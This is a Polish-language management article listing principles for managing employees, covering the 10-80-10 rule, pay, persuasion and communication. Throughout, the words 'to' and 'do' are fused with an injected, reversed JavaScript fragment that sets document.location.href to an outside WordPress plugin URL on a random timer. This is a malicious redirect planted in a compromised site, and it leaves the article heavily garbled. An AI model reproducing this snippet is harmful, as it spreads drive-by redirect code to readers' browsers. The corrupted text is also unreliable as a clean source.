9 zasad zarządzania pracownikami

Menedżer pracuje dla pracodawcy – jego interes decyduje

• Ma zarządzać zasobami firmy, w jej interesie
• Menedżer co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zasady realizuje Model Biznesowy firmy
  • To ten Model określa w szczegółach, co leży w interesie firmy
  • W tym zakresie, jaki obejmują jego kompetencje
• Jednym z tych zasobów są pracownicy
  • Tym różnią się od innych zasobów, że mają wolną wolę
  • Oraz mają własny interes
• Ale dla menedżera najważniejszy jest interes firmy

Dla pracownika najważniejszy jest jego własny interes

• Jaki toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to interes?
  • Bardzo ważna jest wygoda
  • Oraz bezpieczeństwo
  • Liczy się kariera, przyszłość i samorealizacja
  • A także wynagrodzenie
• To wszystko elementy, które mogą stanąć w opozycji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do celów firmy
• Interesy pracownika i firmy nigdy się nie pokrywają
  • Tak już jest
  • Niewiele można z tym zrobić
  • Od tego są menedżerowie, aby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnować interesu firmy
• Ale gdy pracownicy już zaczną pracować, chcą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze

Pracownicy chcą i lubią toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze pracować

• Co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zasady, gdy już pracują..
  • Trzeba ich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnować
  • Ze względu na różnicę interesów
• A jeśli tak nie pracują, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ogół wina ich menedżerów,
  • Czasem tego, że nie wiedzą, jak mają robić czy po co
  • Czasem dlatego, że nikt ich nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopilnował

Wyjątkiem jest zasada 10-80-10

• Pracownicy różnie pasują toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do swoich zadań i wymagań firmy
  • 10% toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pracownicy wybitni
  • 80% toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pracownicy przeciętni
  • 10% nie nadaje się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego, co robi
• Każda grupa wymaga innego podejścia
  • Pierwszych trzeba zostawić w spokoju
  • Drugimi trzeba zarządzać
  • Trzecich trzeba zidentyfikować i zastąpić innymi
• Domeną menedżerów jest środkowe 80%

Płaca modyfikuje interes pracownika

• Ale nie można na nią zbytnio liczyć
  • Działa tylko na krótko (zwykle 3 m-ce)
  • Pracownik się przyzwyczaja
  • A potem działa prawo zapadki – „należy się”
• Płacę można zastąpić
  • Dopilnowaniem
  • Zarządzaniem przez cele
  • Lub zgodność zachowania ze wzorcem

Zarządzanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to optymalne wykorzystanie zasobów w interesie firmy

• Można po prośbie, groźbie, lojalności czy nie dając innego wyjścia
• Przekonać
  • Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pierwszego konfliktu interesów
• Przekupić
  • Za mała demotywuje
  • Ale wysoka szybko przestaje motywować
• Zmusić strachem
  • Ale trzeba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokładnie powiedzieć, co i jak mają robić
  • Nie wezmą odpowiedzialności
  • Ani nie wypełnią luk zarządzaniu
• Zmusić infrastrukturą
  • Np. taśma zmusza toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zachowania w określony sposób

Menedżer wypełnia luki w Modelu Biznesowym

• Firmy działają wg swojego Modelu Biznesowego
  • Jeśli ten się sprawdza, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma ma sukces
  • Gdy się nie sprawdza, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wina menedżerów
  • Oni mają go tylko wykonywać
• Ale Model nigdy nie jest „szczelny”
  • Zawsze są obszary czy sytuacje, których nie uwzględnia czy opisuje
  • Tu musi wkroczyć menedżer
  • On powinien rozumieć Model
  • I wypełnić go treścią, tam gdzie ma luki
• To równie ważne, jak wypełnianie samego Modelu

Jak komunikować się z pracownikiem?

• Tłumaczyć tak długo, aż zrozumie
• Do trzech razy sztuka – każdy ma prawo nie zrozumieć czy się mylić
  • Ale nie w nieskończoność, zwykle war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dać 3 szanse
  • Wtedy czwartej już nie będzie..
• Słuchać a wysłuchać
  • Każdy powinien być wysłuchany
  • Ale nie można tego mylić z „posłuchaniem”
  • Słuchać należy tylko wtedy gdy jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zgodne z interesem firmy
• Zasada 4-rech oczu
  • Rekrutuje ten, który ma później pracować z danym pracownikiem
  • Jednak zawsze z wsparciem i decyzją własnego przełożonego
  • Żeby być obiektywnym, zachować dystans
  • A także z czasem ten rekru toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany może go zastąpić

Zarządzać zachowaniami

• Pracownikom można komunikować, jakich efektów się od nich oczekuje
  • Wtedy mają inicjatywę
  • I trzeba akcep toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować błędy
• Albo jakie zachowania są w firmie pożądane
  • Takie zachowania muszą być zdefiniowane
  • A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma ponosi odpowiedzialność, czy zadziałają

Podsumowanie

Zarządzanie pracownikami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to złożone zadanie. Pracownicy są różni, ich interes nie pokrywa się z interesem firmy, mają wolną wolę. Za każdym razem więc trzeba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopasowywać się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do sytuacji. Jest jednak kilka uniwersalnych zasad, które da się zas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować prawie zawsze.